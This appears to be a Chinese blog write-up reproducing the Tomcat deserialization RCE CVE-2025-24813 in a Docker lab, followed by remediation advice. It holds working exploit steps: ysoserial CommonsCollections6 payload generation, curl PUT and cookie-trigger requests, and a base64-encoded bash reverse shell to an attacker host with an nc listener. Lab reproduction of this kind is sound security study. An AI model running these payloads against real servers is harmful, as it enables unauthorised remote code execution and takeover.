1356 字
7 分钟
Tomcat RCE(CVE-2025-24813)验证与利用复现及修复建议
Tomcat RCE(CVE-2025-24813)验证与利用复现及修复建议
声明
- 本文仅为个人技术学习实验记录,工具使用需严格遵守当地法律法规,请勿用于任何未授权的网络活动,违规使用后果自负。
- ysoserial工具下载地址为’https://github.com/frohoff/ysoserial’
- commonscollections组件下载地址为’https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1’
漏洞介绍
- 部分版本的Tomcat(9.0.0.M1 <= Apache Tomcat <= 9.0.98、10.1.0-M1 <= Apache Tomcat <= 10.1.34、11.0.0-M1 <= Apache Tomcat <= 11.0.2)在特定配置下,存在反序列化漏洞,通过利用文件会话持久机制,攻击者可以通过构造恶意payload在服务器中写入数据,并构造请求触发反序列化。
- 漏洞利用条件:
- web.xml中配置 readonly=false 开启文件写入(默认不开启)。
- 采用了tomcat默认的会话持久化方案且路径默认,相关配置在context.xml文件中。
- 系统默认的开启分块传输(PartialPUT)。
- 服务器存在包含反序列化漏洞的库(这里使用的是commons-collections-3.2.1.jar)。
- 简要原理:当攻击者发送一个包含Content-Range头的PUT请求到路径如/evil/session时,Tomcat会将路径解析为
.evil.session,在工作目录的/work/Catalina/localhost/ROOT下生成临时文件.evil.session,之后攻击者发送带有JSESSIONID=.evil的Cookie请求,该文件被反序列化,若含有恶意payload则会执行。
环境搭建
- 首先
sudo docker pull tomcat:9.0.98-jdk8拉取tomcat9.0.98版本(属于影响范围)+jdk8的docker镜像。
sudo docker run -d --name tomcat -p 8888:8080 tomcat:9.0.98-jdk8将容器默认的8080端口映射到docker所在主机的8888端口。
sudo docker exec -it tomcat /bin/bash打开容器,然后将webapps.dist目录下复制到webapps目录下提供默认页面。
- 访问该主机8888端口看到tomcat安装成功。

- 前往下载组件commons-collections3.2.1。

- 进入该目录下创建lib文件夹。

- 容器外执行
sudo docker cp commons-collections-3.2.1.jar 8d4c4d7d30d4:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib将该jar包cp到容器内目标路径。 - 容器内不方便修改,类似上一条指令格式,将容器内的context.xml和web.xml复制到容器外部,先修改context.xml,加上本段内容:
<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/></Manager>
9. 打开web.xml,在如图这里(注意是在含default的servlet标签里面),添加配置:
<init-param> <param-name>readonly</param-name> <param-value>false</param-value></init-param>
10. 删除原本的两个xml文件并且把此文件cp回容器响应位置,sudo docker restart tomcat重启容器。

验证与利用过程
- 去github上下载ysoserial工具(地址在文章开头部分),阅读基本使用方法,我这里payload选择的是第六条链,拼接为
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/success.txt" > payload.bin,尝试在/tmp目录下创建一个success.txt。
- 将生成的payload.bin cp到docker容器外,执行
curl -v -X PUT -H "Content-Range: bytes 0-2800/2810" --data-binary @payload.bin http://192.168.130.129:8888/evil/session进行写入(PUT包所标字节数应大于实际bin文件字节数),此时实际上在工作目录的/work/Catalina/localhost/ROOT下生成了临时文件.evil.session,但是很快会被删除,需提前准备第二个数据包触发请求。
- 上一个返回409说明成功写入数据,将构造好的
curl -v -H "Cookie: JSESSIONID=.evil" http://192.168.130.129:8888/执行发送,返回状态码500,说明成功触发反序列化。
- 在容器内/tmp目录,发现了success.txt。

- 尝试构建反弹shell,
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" > shell.bin这里的base64编码内容是一个反弹shell,连接攻击主机(192.168.130.128:9999),若使用请自行构造并编码替换,将该文件也拿出容器准备发包,提前在攻击主机执行nc -lvnp 9999等待连接。
- 修改刚才的包中引用文件名再次发包,返回状态码409。

- 再发送触发反序列化数据包,返回500。

- 返回攻击机已经获得了反弹shell,验证完毕。

其它补充与收获总结
- JSESSIONID是JavaWeb应用中,服务器分配给每个用户的会话凭证,而在本次漏洞利用中,它被用来指向并触发我们提前放置的恶意文件,通过保存文件名为
JSESSIONID值.session保存,当数据包为JSESSIONID=.evil时,tomcat则将其中内容反序列化(我们保存的存放payload的.evil.session文件),触发漏洞。 - 本次复现中409状态码造成原因:当声明如2800字节的数据,假如只传递了1700字节(实际大小),会提示请求当前服务器上资源当前状态存在冲突,这也意味着成功写入.evil.session。
- 500状态码原因:500表示“内部服务器错误”,意味着服务器在处理请求时遇到意外情况,无法完成请求,这里是因为指定错误cookie导致去反序列化payload,故无法返回正常页面。
- 防护方案有很多:如将Tomcat升级至安全版本,以修复反序列化漏洞,以及PUT请求处理缺陷、修改默认会话存储路径、在web.xml中修改 readonly参数为true、移除存在反序列化链的依赖库(如commoncolections3.2.1以下)等。
- 很多其它工具也可以用于本次验证,如burp,yakit发包,以及yakit上面存在反序列化漏洞利用的编码功能,在此不一一介绍,可以搜索漏洞名称参考其它大佬的文章来学习。
- 对于一些返回状态码不同无法正常进行的情况可以参照下图检查一下。

Tomcat RCE(CVE-2025-24813)验证与利用复现及修复建议
http://124.70.202.140/posts/post-18/18/ 部分信息可能已经过时







